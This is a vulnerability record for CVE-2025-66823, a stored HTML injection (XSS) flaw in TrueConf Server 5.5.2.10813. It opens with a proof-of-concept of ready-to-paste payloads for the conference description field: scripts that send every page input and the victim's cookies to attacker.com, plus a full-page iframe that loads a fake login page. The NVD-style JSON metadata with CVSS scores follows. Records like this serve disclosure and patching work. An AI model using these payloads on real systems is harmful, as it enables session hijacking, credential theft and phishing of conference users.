CVE-2025-66823

<!-- CVE-2025-66823 HTML Injection PoC for TrueConf Server --> <!-- Payload to be inserted in the conference description field --> <!-- Basic HTML Injection --> <img src=x onerror="alert('XSS - CVE-2025-66823')"> <!-- Session Hijacking Payload --> <script> document.body.innerHTML += '<form id="phishing" action="https://attacker.com/collect" method="POST">'; document.querySelectorAll('input').forEach(input => { const clone = input.cloneNode(); document.getElementById('phishing').appendChild(clone); }); document.getElementById('phishing').submit(); </script> <!-- Cookie Theft Payload --> <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> <!-- Phishing Redirect Payload --> <iframe src="https://attacker.com/fake-login" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe> <!-- Usage: Insert any of the above payloads into the conference description field --> <!-- When victim visits [conference url]/info, the payload will be executed -->

{"cve": {"id": "CVE-2025-66823", "sourceIdentifier": "[email protected]", "published": "2025-12-30T20:16:01.413", "lastModified": "2026-01-07T15:39:03.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An HTML Injection vulnerability in TrueConf server 5.5.2.10813 in the conference description field allows an attacker to inject arbitrary HTML in the Create/Edit conference functionality. The payload will be triggered when the victim opens the Conference Info page ([conference url]/info)."}, {"lang": "es", "value": "Una vulnerabilidad de inyección HTML en el servidor TrueConf 5.5.2.10813 en el campo de descripción de la conferencia permite a un atacante inyectar HTML arbitrario en la funcionalidad de Crear/Editar conferencia. La carga útil se activará cuando la víctima abra la página de Información de la Conferencia ([url de la conferencia]/info)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trueconf:server:5.5.2.10813:*:*:*:*:*:*:*", "matchCriteriaId": "8059D00D-F6AA-4CA7-ADCA-32B34F21D726"}]}]}], "references": [{"url": "https://github.com/x00nullbit/CVE-References/blob/main/CVE-2025-66823/README.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://trueconf.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/x00nullbit/CVE-References/blob/main/CVE-2025-66823/README.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}